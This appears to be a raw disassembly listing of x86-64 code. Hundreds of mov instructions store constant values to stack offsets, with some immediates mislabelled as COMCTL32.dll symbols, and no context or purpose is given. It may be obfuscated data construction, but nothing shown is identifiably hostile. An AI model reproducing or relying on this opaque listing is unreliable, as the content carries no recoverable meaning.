mov byte [rsp + 0xcc], 0x33
mov dword [rsp + 0x6804], 0x77f35e61
mov eax, 0x2e6
mov word [rsp + 0x11f4], ax
mov eax, 0xfab
mov word [rsp + 0x11f8], ax
mov byte [rsp + 0xcd], 0x64
mov eax, 0x1e2
mov word [rsp + 0x11fc], ax
mov dword [rsp + 0x6808], 0x745589ea
mov dword [rsp + 0x680c], 0x7a8f76e2
mov dword [rsp + 0x6810], 0x307fbdb6
mov eax, 0xb9b
mov word [rsp + 0x1200], ax
mov eax, 0x126
mov word [rsp + 0x1204], ax
mov dword [rsp + 0x6814], 0x32974de7
mov dword [rsp + 0x6818], 0x173b9372
mov eax, 0x2a8
mov word [rsp + 0x1208], ax
mov eax, 0xf1f
mov word [rsp + 0x120c], ax
mov eax, 0x8f
mov word [rsp + 0x1210], ax
mov dword [rsp + 0x681c], 0xf452
mov byte [rsp + 0xce], 7
mov dword [rsp + 0x6820], 0x6676
mov dword [rsp + 0x6824], 0x1e66df2
mov byte [rsp + 0xcf], 5
mov dword [rsp + 0x6828], 0x77f324c
mov dword [rsp + 0x682c], 0x18cf3b63
mov byte [rsp + 0xd0], 0xc3
mov dword [rsp + 0x6830], 0x6a76fd0e
mov dword [rsp + 0x6834], 0x45111e21
mov dword [rsp + 0x6838], 0x46ae85d2
mov dword [rsp + 0x683c], 0xebe4cb4
mov dword [rsp + 0x6840], 0x4c1513ea
mov dword [rsp + 0x6844], 0x25f183dc
mov dword [rsp + 0x6848], 0x39e3e3c2
mov eax, 0x6a1
mov word [rsp + 0x1214], ax
mov byte [rsp + 0xd1], 0x27
mov dword [rsp + 0x684c], 0x96c5
mov dword [rsp + 0x6850], 0x7a0e64d2
mov byte [rsp + 0xd2], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x6854], 0x3173c75b
mov dword [rsp + 0x6858], 0x53af7121
mov byte [rsp + 0xd3], 0x27
mov eax, 0x1a8
mov word [rsp + 0x1218], ax
mov eax, 0x47b
mov word [rsp + 0x121c], ax
mov dword [rsp + 0x685c], 0x93fc
mov dword [rsp + 0x6860], 0x20bd672
mov dword [rsp + 0x6864], 0x5c2fbc93
mov dword [rsp + 0x6868], 0x456d921d
mov dword [rsp + 0x686c], 0x7106b288
mov dword [rsp + 0x6870], 0x1a37
mov dword [rsp + 0x6874], 0x5242377f
mov dword [rsp + 0x6878], 0x3cf711ca
mov byte [rsp + 0xd4], 0x17
mov dword [rsp + 0x687c], 0x6419
mov dword [rsp + 0x6880], 0x2082bb7c
mov byte [rsp + 0xd5], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x6884], 0x15cddae9
mov dword [rsp + 0x6888], 0x248828fd
mov eax, 0x6e6
mov word [rsp + 0x1220], ax
mov eax, 0xc52
mov word [rsp + 0x1224], ax
mov eax, 0xd20
mov word [rsp + 0x1228], ax
mov dword [rsp + 0x688c], 0x606f869a
mov dword [rsp + 0x6890], 0x28fb6caa
mov dword [rsp + 0x6894], 0x4cc210c3
mov dword [rsp + 0x6898], 0x406896a2
mov dword [rsp + 0x689c], 0x3645deba
mov dword [rsp + 0x68a0], 0x4870dbe8
mov dword [rsp + 0x68a4], 0x2b283073
mov byte [rsp + 0xd6], 0x19
mov byte [rsp + 0xd7], 0x73
mov eax, 0x543
mov word [rsp + 0x122c], ax
mov byte [rsp + 0xd8], 0x21
mov dword [rsp + 0x68a8], 0x3c11c0e0
mov dword [rsp + 0x68ac], 0xee7205d
mov byte [rsp + 0xd9], 0xb7
mov eax, 0x52
mov word [rsp + 0x1230], ax
mov byte [rsp + 0xda], 0xf7
mov eax, 0x246
mov word [rsp + 0x1234], ax
mov dword [rsp + 0x68b0], 0x1f73a271
mov eax, 0x240
mov word [rsp + 0x1238], ax
mov dword [rsp + 0x68b4], 0x25b0abd8
mov dword [rsp + 0x68b8], 0xa368
mov byte [rsp + 0xdb], 0x89
mov dword [rsp + 0x68bc], 0x79dfbd25
mov eax, 0xcb5
mov word [rsp + 0x123c], ax
mov eax, 0xf4e
mov word [rsp + 0x1240], ax
mov byte [rsp + 0xdc], 0xfe
mov dword [rsp + 0x68c0], 0x467b22ce
mov dword [rsp + 0x68c4], 0xbe94
mov dword [rsp + 0x68c8], 0x37092e25
mov dword [rsp + 0x68cc], 0x36f5
mov dword [rsp + 0x68d0], 0x4515baf9
mov dword [rsp + 0x68d4], 0x12ae4769
mov dword [rsp + 0x68d8], 0xc7e1
mov byte [rsp + 0xdd], 0x3a
mov eax, 0x419
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x68dc], 0x1cf4
mov dword [rsp + 0x68e0], 0xbdfd
mov dword [rsp + 0x68e4], 0xe6a5
mov byte [rsp + 0xde], 9
mov dword [rsp + 0x68e8], 0x40d50078
mov eax, 0x19
mov word [rsp + 0x1248], ax
mov byte [rsp + 0xdf], 0x6a
mov dword [rsp + 0x68ec], 0x9250
mov dword [rsp + 0x68f0], 0x21b3
mov byte [rsp + 0xe0], 0xc0
mov eax, 0x160
mov word [rsp + 0x124c], ax
mov dword [rsp + 0x68f4], 0xc5cb
mov byte [rsp + 0xe1], 0x47
mov byte [rsp + 0xe2], 0x55
mov dword [rsp + 0x68f8], 0x2164
mov dword [rsp + 0x68fc], 0xe779
mov dword [rsp + 0x6900], 0x32a14d7d
mov byte [rsp + 0xe3], 0x16
mov dword [rsp + 0x6904], 0x3fe81931
mov dword [rsp + 0x6908], 0x26e
mov dword [rsp + 0x690c], 0x4abc9cf8
mov byte [rsp + 0xe4], 0x75
mov byte [rsp + 0xe5], 0x65
mov dword [rsp + 0x6910], 0x4e8f
mov dword [rsp + 0x6914], 0x4b3d
mov eax, 0xd54
mov word [rsp + 0x1250], ax
mov byte [rsp + 0xe6], 0xc9
mov dword [rsp + 0x6918], 0x3ed8c63a
mov dword [rsp + 0x691c], 0x7df2
mov eax, 0xca4
mov word [rsp + 0x1254], ax
mov byte [rsp + 0xe7], 0x42
mov byte [rsp + 0xe8], 6
mov dword [rsp + 0x6920], 0x36613b9f
mov byte [rsp + 0xe9], 0xb1
mov dword [rsp + 0x6924], 0x6165
mov dword [rsp + 0x6928], 0x8678
mov dword [rsp + 0x692c], 0x459f3b92
mov dword [rsp + 0x6930], 0x7a50
mov dword [rsp + 0x6934], 0xac49
mov byte [rsp + 0xea], 0xa3
mov dword [rsp + 0x6938], 0xef5a
mov dword [rsp + 0x693c], 0x8127
mov dword [rsp + 0x6940], 0x1bdd
mov eax, 0x397
mov word [rsp + 0x1258], ax
mov dword [rsp + 0x6944], 0x252c1303
mov dword [rsp + 0x6948], 0x687b7228
mov dword [rsp + 0x694c], 0x7089
mov dword [rsp + 0x6950], 0x4ed0
mov eax, 0xf7d
mov word [rsp + 0x125c], ax
mov byte [rsp + 0xeb], 0x24
mov eax, 0x824
mov word [rsp + 0x1260], ax
mov eax, 0x414
mov word [rsp + 0x1264], ax
mov dword [rsp + 0x6954], 0x135a3b4e
mov byte [rsp + 0xec], 3
mov dword [rsp + 0x6958], 0x6fda007a
mov eax, 0x789
mov word [rsp + 0x1268], ax
mov eax, 0x1a4
mov word [rsp + 0x126c], ax
mov eax, 0x78d
mov word [rsp + 0x1270], ax
mov dword [rsp + 0x695c], 0x7a614579
mov byte [rsp + 0xed], 0xbb
mov eax, 0x7ec
mov word [rsp + 0x1274], ax
mov dword [rsp + 0x6960], 0xf52
mov eax, 0x62f
mov word [rsp + 0x1278], ax
mov dword [rsp + 0x6964], 0xd5ac2b5
mov dword [rsp + 0x6968], 0x1838
mov eax, 0x272
mov word [rsp + 0x127c], ax
mov dword [rsp + 0x696c], 0x3443
mov dword [rsp + 0x6970], 0x1c1d7490
mov dword [rsp + 0x6974], 0x6005ba4d
mov byte [rsp + 0xee], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x6978], 0x4e1f9b33
mov dword [rsp + 0x697c], 0x503d
mov dword [rsp + 0x6980], 0x56b922fb
mov dword [rsp + 0x6984], 0x2e95aaf8
mov dword [rsp + 0x6988], 0x6703b474
mov dword [rsp + 0x698c], 0x5395
mov byte [rsp + 0xef], 0xc7
mov dword [rsp + 0x6990], 0x1aaea03f
mov eax, 0x75f
mov word [rsp + 0x1280], ax
mov dword [rsp + 0x6994], 0xa010
mov dword [rsp + 0x6998], 0xd9eb
mov eax, 0xaea
mov word [rsp + 0x1284], ax
mov dword [rsp + 0x699c], 0x8fcc65b
mov eax, 0x549
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x69a0], 0x47de29b6
mov dword [rsp + 0x69a4], 0x540a
mov dword [rsp + 0x69a8], 0x38faab3e
mov eax, 0x769
mov word [rsp + 0x128c], ax
mov byte [rsp + 0xf0], 0xd3
mov byte [rsp + 0xf1], 0x1b
mov dword [rsp + 0x69ac], 0x41b5ca43
mov byte [rsp + 0xf2], 0x73
mov eax, 0x528
mov word [rsp + 0x1290], ax
mov byte [rsp + 0xf3], 0x1e
mov eax, 0x47c
mov word [rsp + 0x1294], ax
mov byte [rsp + 0xf4], 0x22
mov eax, 0x50d
mov word [rsp + 0x1298], ax
mov eax, 0x9c2
mov word [rsp + 0x129c], ax
mov eax, 0x286
mov word [rsp + 0x12a0], ax
mov byte [rsp + 0xf5], 0x31
mov dword [rsp + 0x69b0], 0x4b
mov dword [rsp + 0x69b4], 0x5ea5
mov dword [rsp + 0x69b8], 0xfd1e8cf
mov dword [rsp + 0x69bc], 0x1c458388
mov dword [rsp + 0x69c0], 0x7093
mov byte [rsp + 0xf6], 0x65
mov dword [rsp + 0x69c4], 0x6a35466a
mov byte [rsp + 0xf7], 0xcd
mov byte [rsp + 0xf8], 0x76
mov dword [rsp + 0x69c8], 0x39cd0ff6
mov eax, 0x3e2
mov word [rsp + 0x12a4], ax
mov dword [rsp + 0x69cc], 0x39caf87f
mov dword [rsp + 0x69d0], 0xeec8
mov dword [rsp + 0x69d4], 0xc9c3
mov dword [rsp + 0x69d8], 0x36f627f2
mov dword [rsp + 0x69dc], 0x2aa4
mov dword [rsp + 0x69e0], 0x2ab2
mov dword [rsp + 0x69e4], 0x5c40409
mov dword [rsp + 0x69e8], 0x23965dde
mov dword [rsp + 0x69ec], 0xfd0f666
mov byte [rsp + 0xf9], 0x73
mov dword [rsp + 0x69f0], 0x3ac7
mov byte [rsp + 0xfa], 0x6c
mov dword [rsp + 0x69f4], 0x444d102a
mov dword [rsp + 0x69f8], 0x2e7dcff3
mov eax, 0x35d
mov word [rsp + 0x12a8], ax
mov dword [rsp + 0x69fc], 0xe95f
mov dword [rsp + 0x6a00], 0x2d1b
mov eax, 0x5c9
mov word [rsp + 0x12ac], ax
mov byte [rsp + 0xfb], 0x18
mov dword [rsp + 0x6a04], 0x7a82f7e6
mov dword [rsp + 0x6a08], 0x6abc
mov dword [rsp + 0x6a0c], 0x51233f02
mov dword [rsp + 0x6a10], 0x16106832
mov dword [rsp + 0x6a14], 0x49df
mov byte [rsp + 0xfc], 0x56
mov dword [rsp + 0x6a18], 0x258f
mov dword [rsp + 0x6a1c], 0x7edf
mov dword [rsp + 0x6a20], 0x57a98ee1
mov dword [rsp + 0x6a24], 0x50857cd1
mov dword [rsp + 0x6a28], 0x39fd41d7
mov eax, 0x2c3
mov word [rsp + 0x12b0], ax
mov byte [rsp + 0xfd], 0x95
mov dword [rsp + 0x6a2c], 0x5f6b17e6
mov dword [rsp + 0x6a30], 0x6163be17
mov byte [rsp + 0xfe], 0x51
mov eax, 0x2a0
mov word [rsp + 0x12b4], ax
mov eax, 0x399
mov word [rsp + 0x12b8], ax
mov dword [rsp + 0x6a34], 0x19e754d3
mov byte [rsp + 0xff], 0xec
mov byte [rsp + 0x100], 0x2a
mov eax, 0x3d4
mov word [rsp + 0x12bc], ax
mov dword [rsp + 0x6a38], 0x10e4c9f8
mov eax, 0x131
mov word [rsp + 0x12c0], ax
mov dword [rsp + 0x6a3c], 0x782e76cb
mov byte [rsp + 0x101], 0x96
mov dword [rsp + 0x6a40], 0x15f3
mov eax, 0x30f
mov word [rsp + 0x12c4], ax
mov dword [rsp + 0x6a44], 0xb00b2b1
mov eax, 0x9fd
mov word [rsp + 0x12c8], ax
mov dword [rsp + 0x6a48], 0x2dde
mov byte [rsp + 0x102], 0xac
mov dword [rsp + 0x6a4c], 0x676a565
mov dword [rsp + 0x6a50], 0x449969e0
mov eax, 0x672
mov word [rsp + 0x12cc], ax
mov dword [rsp + 0x6a54], 0x3448b57f
mov dword [rsp + 0x6a58], 0x3db13af2
mov dword [rsp + 0x6a5c], 0x4d6b1653
mov byte [rsp + 0x103], 0x7f
mov eax, 0xc4c
mov word [rsp + 0x12d0], ax
mov byte [rsp + 0x104], 0x6e
mov dword [rsp + 0x6a60], 0x2d19
mov dword [rsp + 0x6a64], 0xf856
mov byte [rsp + 0x105], 0xe0
mov dword [rsp + 0x6a68], 0x717182db
mov byte [rsp + 0x106], 6
mov dword [rsp + 0x6a6c], 0x210a880f
mov dword [rsp + 0x6a70], 0x2d5a10a0
mov dword [rsp + 0x6a74], 0x5212
mov dword [rsp + 0x6a78], 0x60e
mov byte [rsp + 0x107], 0x4c
mov dword [rsp + 0x6a7c], 0x8058
mov dword [rsp + 0x6a80], 0x343534b2
mov eax, 0x28a
mov word [rsp + 0x12d4], ax
mov dword [rsp + 0x6a84], 0x5aa6
mov dword [rsp + 0x6a88], 0x51af4ca6
mov byte [rsp + 0x108], 0xea
mov dword [rsp + 0x6a8c], 0x3d496c6
mov dword [rsp + 0x6a90], 0x25696269
mov eax, 0x22e
mov word [rsp + 0x12d8], ax
mov eax, 0xe41
mov word [rsp + 0x12dc], ax
mov dword [rsp + 0x6a94], 0x372ced62
mov dword [rsp + 0x6a98], 0x6e4fd0fc
mov byte [rsp + 0x109], 0x5e
mov dword [rsp + 0x6a9c], 0x297aea53
mov eax, 0x71a
mov word [rsp + 0x12e0], ax
mov dword [rsp + 0x6aa0], 0x2f5b
mov dword [rsp + 0x6aa4], 0x38ced778
mov eax, 0x30f
mov word [rsp + 0x12e4], ax
mov eax, 0x6af
mov word [rsp + 0x12e8], ax
mov dword [rsp + 0x6aa8], 0x187286f3
mov dword [rsp + 0x6aac], 0xfdb29a4
mov byte [rsp + 0x10a], 0x11
mov byte [rsp + 0x10b], 0xaf
mov eax, 0x13a
mov word [rsp + 0x12ec], ax
mov dword [rsp + 0x6ab0], 0x49f1
mov dword [rsp + 0x6ab4], 0x9ff6
mov byte [rsp + 0x10c], 0x17
mov dword [rsp + 0x6ab8], 0x762f463b
mov dword [rsp + 0x6abc], 0x5a2c72f9
mov byte [rsp + 0x10d], 0x53
mov dword [rsp + 0x6ac0], 0x98e9
mov dword [rsp + 0x6ac4], 0x3edd0007
mov eax, 0x4f
mov word [rsp + 0x12f0], ax
mov dword [rsp + 0x6ac8], 0x9fab
mov eax, 0xbb7
mov word [rsp + 0x12f4], ax
mov dword [rsp + 0x6acc], 0x3e6b6cef
mov dword [rsp + 0x6ad0], 0x626999ca
mov eax, 0x762
mov word [rsp + 0x12f8], ax
mov dword [rsp + 0x6ad4], 0xb441
mov dword [rsp + 0x6ad8], 0x4c85b2eb
mov dword [rsp + 0x6adc], 0x6f17
mov dword [rsp + 0x6ae0], 0x5c5dac47
mov byte [rsp + 0x10e], 0x7d
mov dword [rsp + 0x6ae4], 0x415b
mov eax, 0xd42
mov word [rsp + 0x12fc], ax
mov dword [rsp + 0x6ae8], 0x7113f83f
mov dword [rsp + 0x6aec], 0x4c558d45
mov dword [rsp + 0x6af0], 0x5847
mov byte [rsp + 0x10f], 0x7f
mov dword [rsp + 0x6af4], 0x417
mov dword [rsp + 0x6af8], 0x45f8f799
mov dword [rsp + 0x6afc], 0x280f
mov dword [rsp + 0x6b00], 0x5f273fc
mov dword [rsp + 0x6b04], 0x687a62db
mov byte [rsp + 0x110], 0xad
mov dword [rsp + 0x6b08], 0x594d
mov byte [rsp + 0x111], 0x3c
mov byte [rsp + 0x112], 0x25
mov dword [rsp + 0x6b0c], 0x231e4f2d
mov dword [rsp + 0x6b10], 0x1fe81384
mov byte [rsp + 0x113], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x6b14], 0x7f30a15c
mov dword [rsp + 0x6b18], 0x393cf4f3
mov eax, 0xdc0
mov word [rsp + 0x1300], ax
mov dword [rsp + 0x6b1c], 0x74d1a99f
mov byte [rsp + 0x114], 0xec
mov byte [rsp + 0x115], 0xc9
mov dword [rsp + 0x6b20], 0x32618967
mov eax, 0x74f
mov word [rsp + 0x1304], ax
mov dword [rsp + 0x6b24], 0x9a14
mov dword [rsp + 0x6b28], 0x6b72216
mov dword [rsp + 0x6b2c], 0x4fcbdcfb
mov byte [rsp + 0x116], 0x33
mov byte [rsp + 0x117], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x6b30], 0x69643d0f
mov dword [rsp + 0x6b34], 0x3f4d065c
mov dword [rsp + 0x6b38], 0xf894
mov dword [rsp + 0x6b3c], 0xee5259a
mov dword [rsp + 0x6b40], 0x8993d14
mov dword [rsp + 0x6b44], 0xd648
mov eax, 0x59d
mov word [rsp + 0x1308], ax
mov dword [rsp + 0x6b48], 0x369
mov byte [rsp + 0x118], 0x5d
mov dword [rsp + 0x6b4c], 0x651040ae
mov eax, 0x234
mov word [rsp + 0x130c], ax
mov byte [rsp + 0x119], 0x7f
mov dword [rsp + 0x6b50], 0x1bda
mov dword [rsp + 0x6b54], 0x70b59b4d
mov eax, 0x3ac
mov word [rsp + 0x1310], ax
mov byte [rsp + 0x11a], 0xef
mov byte [rsp + 0x11b], 0x61
mov byte [rsp + 0x11c], 0xe9
mov dword [rsp + 0x6b58], 0x68c9
mov byte [rsp + 0x11d], 0x4e
mov dword [rsp + 0x6b5c], 0x2d7a
mov dword [rsp + 0x6b60], 0xdd19
mov dword [rsp + 0x6b64], 0x983a
mov eax, 0x61d
mov word [rsp + 0x1314], ax
mov dword [rsp + 0x6b68], 0x1792ceb5
mov eax, 0x2cf
mov word [rsp + 0x1318], ax
mov byte [rsp + 0x11e], 0x72
mov eax, 0xe8c
mov word [rsp + 0x131c], ax
mov eax, 0x475
mov word [rsp + 0x1320], ax
mov dword [rsp + 0x6b6c], 0x4e2853ae
mov dword [rsp + 0x6b70], 0x790cc292
mov eax, 0x529
mov word [rsp + 0x1324], ax
mov dword [rsp + 0x6b74], 0x4e38501e
mov eax, 0x61f
mov word [rsp + 0x1328], ax
mov dword [rsp + 0x6b78], 0xd6a6
mov dword [rsp + 0x6b7c], 0x8b
mov dword [rsp + 0x6b80], 0x262b
mov byte [rsp + 0x11f], 0x29
mov eax, 0xf19
mov word [rsp + 0x132c], ax
mov dword [rsp + 0x6b84], 0x7318d2ca
mov dword [rsp + 0x6b88], 0x14f567ff
mov byte [rsp + 0x120], 0x77
mov byte [rsp + 0x121], 0xc8
mov dword [rsp + 0x6b8c], 0x6e519c21
mov eax, 0x25d
mov word [rsp + 0x1330], ax
mov byte [rsp + 0x122], 0xbb
mov eax, 0x2a0
mov word [rsp + 0x1334], ax
mov dword [rsp + 0x6b90], 0x7c956030
mov dword [rsp + 0x6b94], 0x2f5606ab
mov dword [rsp + 0x6b98], 0xc11b
mov eax, 0x11d
mov word [rsp + 0x1338], ax
mov dword [rsp + 0x6b9c], 0x56e0bea1
mov eax, 0xea
mov word [rsp + 0x133c], ax
mov dword [rsp + 0x6ba0], 0xc6a9
mov dword [rsp + 0x6ba4], 0x2b3941f3
mov byte [rsp + 0x123], 0x73
mov dword [rsp + 0x6ba8], 0x2649e664
mov dword [rsp + 0x6bac], 0x4b53
mov dword [rsp + 0x6bb0], 0x9c23
mov eax, 0x202
mov word [rsp + 0x1340], ax
mov eax, 0x171
mov word [rsp + 0x1344], ax
mov dword [rsp + 0x6bb4], 0x6891f47a
mov dword [rsp + 0x6bb8], 0x93cc
mov dword [rsp + 0x6bbc], 0x15cede8e
mov dword [rsp + 0x6bc0], 0x278a2e01
mov dword [rsp + 0x6bc4], 0x712e0895
mov byte [rsp + 0x124], 0x19
mov byte [rsp + 0x125], 0x6c
mov dword [rsp + 0x6bc8], 0x13d7136f
mov byte [rsp + 0x126], 0xe0
mov dword [rsp + 0x6bcc], 0x43b704e1
mov dword [rsp + 0x6bd0], 0xf446
mov dword [rsp + 0x6bd4], 0x751e
mov dword [rsp + 0x6bd8], 0x71bead74
mov dword [rsp + 0x6bdc], 0x6746
mov dword [rsp + 0x6be0], 0x45d18d75
mov eax, 0xef1
mov word [rsp + 0x1348], ax
mov dword [rsp + 0x6be4], 0xc80e741
mov dword [rsp + 0x6be8], 0x34f22283
mov dword [rsp + 0x6bec], 0x184d9a74
mov dword [rsp + 0x6bf0], 0x400eaf24
mov dword [rsp + 0x6bf4], 0x1356b59f
mov byte [rsp + 0x127], 0x68
mov dword [rsp + 0x6bf8], 0x4db4
mov dword [rsp + 0x6bfc], 0x42031e89
mov byte [rsp + 0x128], 0x50
mov dword [rsp + 0x6c00], 0x8af4
mov byte [rsp + 0x129], 0x2f
mov eax, RemoveWindowSubclass
mov word [rsp + 0x134c], ax
mov dword [rsp + 0x6c04], 0xd650
mov dword [rsp + 0x6c08], 0x38b89e93
mov byte [rsp + 0x12a], 0x89
mov dword [rsp + 0x6c0c], 0x6cdc2026
mov dword [rsp + 0x6c10], 0xde35
mov dword [rsp + 0x6c14], 0x2529
mov byte [rsp + 0x12b], 0x6f
mov dword [rsp + 0x6c18], 0x207a4e9c
mov dword [rsp + 0x6c1c], 0x3e3193a0
mov dword [rsp + 0x6c20], 0x2e25
mov eax, 0xfb
mov word [rsp + 0x1350], ax
mov eax, 0x2a1
mov word [rsp + 0x1354], ax
mov dword [rsp + 0x6c24], 0xc82bb40
mov dword [rsp + 0x6c28], 0x5a097fa8
mov dword [rsp + 0x6c2c], 0x9f0b
mov dword [rsp + 0x6c30], 0x1d7190cf
mov eax, 0x4d1
mov word [rsp + 0x1358], ax
mov byte [rsp + 0x12c], 0x83
mov dword [rsp + 0x6c34], 0xe8fb
mov byte [rsp + 0x12d], 0x52
mov eax, 0x794
mov word [rsp + 0x135c], ax
mov dword [rsp + 0x6c38], 0x53fae972
mov eax, 0xf21
mov word [rsp + 0x1360], ax
mov eax, 0x4ec
mov word [rsp + 0x1364], ax
mov dword [rsp + 0x6c3c], 0x1a961ab9
mov byte [rsp + 0x12e], 0x56
mov dword [rsp + 0x6c40], 0x327a09e5
mov dword [rsp + 0x6c44], 0x7c0c2f57
mov dword [rsp + 0x6c48], 0x288ae2f6
mov dword [rsp + 0x6c4c], 0x17a6
mov eax, 0x5bd
mov word [rsp + 0x1368], ax
mov byte [rsp + 0x12f], 0xc3
mov eax, 0x43d
mov word [rsp + 0x136c], ax
mov eax, 0x76b
mov word [rsp + 0x1370], ax
mov dword [rsp + 0x6c50], 0x2da9af0a
mov dword [rsp + 0x6c54], 0x3ec9731
mov byte [rsp + 0x130], DrawInsert
mov dword [rsp + 0x6c58], 0x2afdb103
mov byte [rsp + 0x131], 0xdf
mov byte [rsp + 0x132], 0x16
mov byte [rsp + 0x133], 0x1c
mov dword [rsp + 0x6c5c], 0x6d9ba12
mov dword [rsp + 0x6c60], 0xe915
mov eax, 0x738
mov word [rsp + 0x1374], ax
mov dword [rsp + 0x6c64], 0x567c
mov eax, 0x8e3
mov word [rsp + 0x1378], ax
mov dword [rsp + 0x6c68], 0x9516
mov byte [rsp + 0x134], 0xdf
mov dword [rsp + 0x6c6c], 0xa6ef
mov dword [rsp + 0x6c70], 0xda3e
mov dword [rsp + 0x6c74], 0x7bab5770
mov dword [rsp + 0x6c78], 0xab79
mov eax, 0x2c6
mov word [rsp + 0x137c], ax
mov dword [rsp + 0x6c7c], 0x23f36d48
mov eax, 0x724
mov word [rsp + 0x1380], ax
mov dword [rsp + 0x6c80], 0x3f26ec94
mov dword [rsp + 0x6c84], 0x2c1e4ff7
mov byte [rsp + 0x135], 0x84
mov byte [rsp + 0x136], 0x9a
mov eax, 0x86b
mov word [rsp + 0x1384], ax
mov dword [rsp + 0x6c88], 0x485f899a
mov dword [rsp + 0x6c8c], 0xf21b
mov dword [rsp + 0x6c90], 0xf883
mov dword [rsp + 0x6c94], 0x344ad8d1
mov dword [rsp + 0x6c98], 0x16edd250
mov byte [rsp + 0x137], 8
mov dword [rsp + 0x6c9c], 0x905d
mov dword [rsp + 0x6ca0], 0x5ea9dacc
mov dword [rsp + 0x6ca4], 0x6a1aa0e7
mov byte [rsp + 0x138], 0x4d
mov dword [rsp + 0x6ca8], 0x9e0b
mov eax, 0xfbf
mov word [rsp + 0x1388], ax
mov dword [rsp + 0x6cac], 0x709cd737
mov dword [rsp + 0x6cb0], 0xeaa6
mov dword [rsp + 0x6cb4], 0xeb98b14
mov dword [rsp + 0x6cb8], 0x52c
mov dword [rsp + 0x6cbc], 0xe4f0
mov dword [rsp + 0x6cc0], 0x5532cbba
mov eax, 0x721
mov word [rsp + 0x138c], ax
mov eax, 0x6e1
mov word [rsp + 0x1390], ax
mov dword [rsp + 0x6cc4], 0xb71a
mov byte [rsp + 0x139], 3
mov dword [rsp + 0x6cc8], 0xdb5a
mov eax, 0x717
mov word [rsp + 0x1394], ax
mov dword [rsp + 0x6ccc], 0x904e
mov dword [rsp + 0x6cd0], 0x615883ae
mov byte [rsp + 0x13a], 0xbb
mov dword [rsp + 0x6cd4], 0x6d305fde
mov eax, 0x616
mov word [rsp + 0x1398], ax
mov eax, 0x2e5
mov word [rsp + 0x139c], ax
mov byte [rsp + 0x13b], 0xe5
mov byte [rsp + 0x13c], 0x6a
mov byte [rsp + 0x13d], 0x76
mov byte [rsp + 0x13e], 0x50
mov byte [rsp + 0x13f], 0x2e
mov byte [rsp + 0x140], 0xee
mov dword [rsp + 0x6cd8], 0xcc4b
mov dword [rsp + 0x6cdc], 0x6d8fae71
mov eax, 0xd4a
mov word [rsp + 0x13a0], ax
mov byte [rsp + 0x141], 0x98
mov dword [rsp + 0x6ce0], 0x528e5f77
mov dword [rsp + 0x6ce4], 0x9761
mov eax, 0x9c5
mov word [rsp + 0x13a4], ax
mov byte [rsp + 0x142], 0x61
mov dword [rsp + 0x6ce8], 0xb5aa
mov eax, 0x30
mov word [rsp + 0x13a8], ax
mov dword [rsp + 0x6cec], 0x3fe38c7d
mov dword [rsp + 0x6cf0], 0x57d95071
mov dword [rsp + 0x6cf4], 0x169e5c8b
mov dword [rsp + 0x6cf8], 0xea3e
mov byte [rsp + 0x143], 0x22
mov dword [rsp + 0x6cfc], 0x7360
mov dword [rsp + 0x6d00], 0x333acc1e
mov dword [rsp + 0x6d04], 0xcee9
mov byte [rsp + 0x144], 0xa1
mov byte [rsp + 0x145], 0xb8
mov dword [rsp + 0x6d08], 0x6f80
mov dword [rsp + 0x6d0c], 0x77f5
mov eax, 0x970
mov word [rsp + 0x13ac], ax
mov dword [rsp + 0x6d10], 0x4bff
mov dword [rsp + 0x6d14], 0x1a5146c4
mov byte [rsp + 0x146], 0xd1
mov byte [rsp + 0x147], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x6d18], 0x414fdf7a
mov dword [rsp + 0x6d1c], 0x8a16
mov dword [rsp + 0x6d20], 0x1f53
mov byte [rsp + 0x148], 7
mov eax, 0xb9f
mov word [rsp + 0x13b0], ax
mov eax, 0x6d9
mov word [rsp + 0x13b4], ax
mov dword [rsp + 0x6d24], 0xc06a
mov dword [rsp + 0x6d28], 0x845d
mov byte [rsp + 0x149], 0x2b
mov byte [rsp + 0x14a], 0xfa
mov dword [rsp + 0x6d2c], 0x334e
mov dword [rsp + 0x6d30], 0x68924164
mov byte [rsp + 0x14b], 0x46
mov eax, 0x5e3
mov word [rsp + 0x13b8], ax
mov byte [rsp + 0x14c], 0x2d
mov dword [rsp + 0x6d34], 0x8295
mov dword [rsp + 0x6d38], 0xf20e
mov dword [rsp + 0x6d3c], 0x15f9b88c
mov dword [rsp + 0x6d40], 0x7bf2
mov dword [rsp + 0x6d44], 0x4331ed85
mov dword [rsp + 0x6d48], 0xbf5a
mov byte [rsp + 0x14d], 0xc6
mov dword [rsp + 0x6d4c], 0x75d7cdd3
mov dword [rsp + 0x6d50], 0xe004
mov dword [rsp + 0x6d54], 0x330c8700
mov dword [rsp + 0x6d58], 0x6941
mov dword [rsp + 0x6d5c], 0x5fc7d114
mov dword [rsp + 0x6d60], 0xae12
mov byte [rsp + 0x14e], 0x18
mov dword [rsp + 0x6d64], 0xad09fe7
mov eax, 0xacb
mov word [rsp + 0x13bc], ax
mov dword [rsp + 0x6d68], 0x11be
mov byte [rsp + 0x14f], 0xdf
mov eax, 0xf80
mov word [rsp + 0x13c0], ax
mov byte [rsp + 0x150], 0x3a
mov eax, 0xad6
mov word [rsp + 0x13c4], ax
mov eax, 0xede
mov word [rsp + 0x13c8], ax
mov eax, 0x741
mov word [rsp + 0x13cc], ax
mov dword [rsp + 0x6d6c], 0x480a
mov dword [rsp + 0x6d70], 0x38bf9cc9
mov dword [rsp + 0x6d74], 0x8a81b92
mov dword [rsp + 0x6d78], 0xd394
mov byte [rsp + 0x151], 0xba
mov dword [rsp + 0x6d7c], 0x340e
mov dword [rsp + 0x6d80], 0x5208
mov eax, 0x15b
mov word [rsp + 0x13d0], ax
mov dword [rsp + 0x6d84], 0x4799
mov dword [rsp + 0x6d88], 0x6bf568b4
mov dword [rsp + 0x6d8c], 0x1645318
mov dword [rsp + 0x6d90], 0x6b5a1bcc
mov eax, 0x850
mov word [rsp + 0x13d4], ax
mov byte [rsp + 0x152], 0x62
mov eax, 0xc47
mov word [rsp + 0x13d8], ax
mov eax, 0xb1c
mov word [rsp + 0x13dc], ax
mov eax, 0x163
mov word [rsp + 0x13e0], ax
mov byte [rsp + 0x153], 0x5b
mov eax, 0x9e7
mov word [rsp + 0x13e4], ax
